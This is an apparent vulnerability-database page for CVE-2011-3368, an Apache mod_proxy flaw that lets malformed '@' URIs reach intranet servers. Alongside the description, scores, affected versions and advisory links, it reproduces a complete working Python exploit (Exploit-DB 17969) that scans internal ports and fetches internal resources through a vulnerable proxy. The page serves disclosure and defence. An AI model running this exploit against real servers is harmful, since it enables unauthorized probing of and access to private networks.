CVE-2011-3368 : Detail

CVE-2011-3368

A03-Injection
96.9%V3
Network
2011-10-05
20h00 +00:00
2021-06-06
08h09 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 17969

Publication date : 2011-10-10 22h00 +00:00
Author : Rodrigo Marcos
EDB Verified : Yes

#!/usr/bin/env python import socket import string import getopt, sys known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080] def send_request(url, apache_target, apache_port, internal_target, internal_port, resource): get = "GET " + url + "@" + internal_target + ":" + internal_port + "/" + resource + " HTTP/1.1\r\n" get = get + "Host: " + apache_target + "\r\n\r\n" remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remoteserver.settimeout(3) try: remoteserver.connect((apache_target, int(apache_port))) remoteserver.send(get) return remoteserver.recv(4096) except: return "" def get_banner(result): return result[string.find(result, "\r\n\r\n")+4:] def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource): print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource) for port in tested_ports: port = str(port) result = send_request(url, apache_target, apache_port, internal_target, port, resource) if string.find(result,"HTTP/1.1 200")!=-1 or \ string.find(result,"HTTP/1.1 30")!=-1 or \ string.find(result,"HTTP/1.1 502")!=-1: print "- Open port: " + port + "/TCP" print get_banner(result) elif len(result)==0: print "- Filtered port: " + port + "/TCP" else: print "- Closed port: " + port + "/TCP" def usage(): print print "CVE-2011-3368 proof of concept by Rodrigo Marcos" print "http://www.secforce.co.uk" print print "usage():" print "python apache_scan.py [options]" print print " [options]" print " -r: Remote Apache host" print " -p: Remote Apache port (default is 80)" print " -u: URL on the remote web server (default is /)" print " -d: Host in the DMZ (default is 127.0.0.1)" print " -e: Port in the DMZ (enables 'single port scan')" print " -g: GET request to the host in the DMZ (default is /)" print " -h: Help page" print print "examples:" print " - Port scan of the remote host" print " python apache_scan.py -r www.example.com -u /images/test.gif" print " - Port scan of a host in the DMZ" print " python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local" print " - Retrieve a resource from a host in the DMZ" print " python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html" print def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource): print print "CVE-2011-3368 proof of concept by Rodrigo Marcos" print "http://www.secforce.co.uk" print print " [+] Target: " + apache_target print " [+] Target port: " + apache_port print " [+] Internal host: " + internal_target print " [+] Tested ports: " + str(tested_ports) print " [+] Internal resource: " + resource print def main(): global apache_target global apache_port global url global internal_target global internal_port global resource try: opts, args = getopt.getopt(sys.argv[1:], "u:r:p:d:e:g:h", ["help"]) except getopt.GetoptError: usage() sys.exit(2) try: for o, a in opts: if o in ("-h", "--help"): usage() sys.exit(2) if o == "-u": url=a if o == "-r": apache_target=a if o == "-p": apache_port=a if o == "-d": internal_target = a if o == "-e": internal_port=a if o == "-g": resource=a except getopt.GetoptError: usage() sys.exit(2) if apache_target == "": usage() sys.exit(2) url = "/" apache_target = "" apache_port = "80" internal_target = "127.0.0.1" internal_port = "" resource = "/" main() if internal_port!="": tested_ports = [internal_port] else: tested_ports = known_ports scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 1.3

Apache>>Http_server >> Version 1.3.0

Apache>>Http_server >> Version 1.3.1

Apache>>Http_server >> Version 1.3.1.1

Apache>>Http_server >> Version 1.3.2

Apache>>Http_server >> Version 1.3.3

Apache>>Http_server >> Version 1.3.4

Apache>>Http_server >> Version 1.3.5

Apache>>Http_server >> Version 1.3.6

Apache>>Http_server >> Version 1.3.7

Apache>>Http_server >> Version 1.3.8

Apache>>Http_server >> Version 1.3.9

Apache>>Http_server >> Version 1.3.10

Apache>>Http_server >> Version 1.3.11

Apache>>Http_server >> Version 1.3.12

Apache>>Http_server >> Version 1.3.13

Apache>>Http_server >> Version 1.3.14

Apache>>Http_server >> Version 1.3.15

Apache>>Http_server >> Version 1.3.16

Apache>>Http_server >> Version 1.3.17

Apache>>Http_server >> Version 1.3.18

Apache>>Http_server >> Version 1.3.19

Apache>>Http_server >> Version 1.3.20

Apache>>Http_server >> Version 1.3.22

Apache>>Http_server >> Version 1.3.23

Apache>>Http_server >> Version 1.3.24

Apache>>Http_server >> Version 1.3.25

Apache>>Http_server >> Version 1.3.26

Apache>>Http_server >> Version 1.3.27

Apache>>Http_server >> Version 1.3.28

Apache>>Http_server >> Version 1.3.29

Apache>>Http_server >> Version 1.3.30

Apache>>Http_server >> Version 1.3.31

Apache>>Http_server >> Version 1.3.32

Apache>>Http_server >> Version 1.3.33

Apache>>Http_server >> Version 1.3.34

Apache>>Http_server >> Version 1.3.35

Apache>>Http_server >> Version 1.3.36

Apache>>Http_server >> Version 1.3.37

Apache>>Http_server >> Version 1.3.38

Apache>>Http_server >> Version 1.3.39

Apache>>Http_server >> Version 1.3.41

Apache>>Http_server >> Version 1.3.42

Apache>>Http_server >> Version 1.3.65

Apache>>Http_server >> Version 1.3.68

Configuraton 0

Apache>>Http_server >> Version 2.0

Apache>>Http_server >> Version 2.0.9

Apache>>Http_server >> Version 2.0.28

Apache>>Http_server >> Version 2.0.28

Apache>>Http_server >> Version 2.0.32

Apache>>Http_server >> Version 2.0.32

Apache>>Http_server >> Version 2.0.34

Apache>>Http_server >> Version 2.0.35

Apache>>Http_server >> Version 2.0.36

Apache>>Http_server >> Version 2.0.37

Apache>>Http_server >> Version 2.0.38

Apache>>Http_server >> Version 2.0.39

Apache>>Http_server >> Version 2.0.40

Apache>>Http_server >> Version 2.0.41

Apache>>Http_server >> Version 2.0.42

Apache>>Http_server >> Version 2.0.43

Apache>>Http_server >> Version 2.0.44

Apache>>Http_server >> Version 2.0.45

Apache>>Http_server >> Version 2.0.46

Apache>>Http_server >> Version 2.0.47

Apache>>Http_server >> Version 2.0.48

Apache>>Http_server >> Version 2.0.49

Apache>>Http_server >> Version 2.0.50

Apache>>Http_server >> Version 2.0.51

Apache>>Http_server >> Version 2.0.52

Apache>>Http_server >> Version 2.0.53

Apache>>Http_server >> Version 2.0.54

Apache>>Http_server >> Version 2.0.55

Apache>>Http_server >> Version 2.0.56

Apache>>Http_server >> Version 2.0.57

Apache>>Http_server >> Version 2.0.58

Apache>>Http_server >> Version 2.0.59

Apache>>Http_server >> Version 2.0.60

Apache>>Http_server >> Version 2.0.61

Apache>>Http_server >> Version 2.0.63

Apache>>Http_server >> Version 2.0.64

Configuraton 0

Apache>>Http_server >> Version 2.2.0

Apache>>Http_server >> Version 2.2.1

Apache>>Http_server >> Version 2.2.2

Apache>>Http_server >> Version 2.2.3

Apache>>Http_server >> Version 2.2.4

Apache>>Http_server >> Version 2.2.6

Apache>>Http_server >> Version 2.2.8

Apache>>Http_server >> Version 2.2.9

Apache>>Http_server >> Version 2.2.10

Apache>>Http_server >> Version 2.2.11

Apache>>Http_server >> Version 2.2.12

Apache>>Http_server >> Version 2.2.13

Apache>>Http_server >> Version 2.2.14

Apache>>Http_server >> Version 2.2.15

Apache>>Http_server >> Version 2.2.16

Apache>>Http_server >> Version 2.2.18

Apache>>Http_server >> Version 2.2.19

Apache>>Http_server >> Version 2.2.20

Apache>>Http_server >> Version 2.2.21

References

http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://seclists.org/fulldisclosure/2011/Oct/273
Tags : mailing-list, x_refsource_FULLDISC
http://www.redhat.com/support/errata/RHSA-2011-1391.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2012-0543.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/46288
Tags : third-party-advisory, x_refsource_SECUNIA
http://osvdb.org/76079
Tags : vdb-entry, x_refsource_OSVDB
http://www.exploit-db.com/exploits/17969
Tags : exploit, x_refsource_EXPLOIT-DB
http://marc.info/?l=bugtraq&m=133294460209056&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.securityfocus.com/bid/49957
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=133294460209056&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2012-0542.html
Tags : vendor-advisory, x_refsource_REDHAT
http://support.apple.com/kb/HT5501
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id?1026144
Tags : vdb-entry, x_refsource_SECTRACK
http://www.redhat.com/support/errata/RHSA-2011-1392.html
Tags : vendor-advisory, x_refsource_REDHAT
http://seclists.org/fulldisclosure/2011/Oct/232
Tags : mailing-list, x_refsource_FULLDISC
http://www.mandriva.com/security/advisories?name=MDVSA-2011:144
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/46414
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/48551
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2012/dsa-2405
Tags : vendor-advisory, x_refsource_DEBIAN
http://kb.juniper.net/JSA10585
Tags : x_refsource_CONFIRM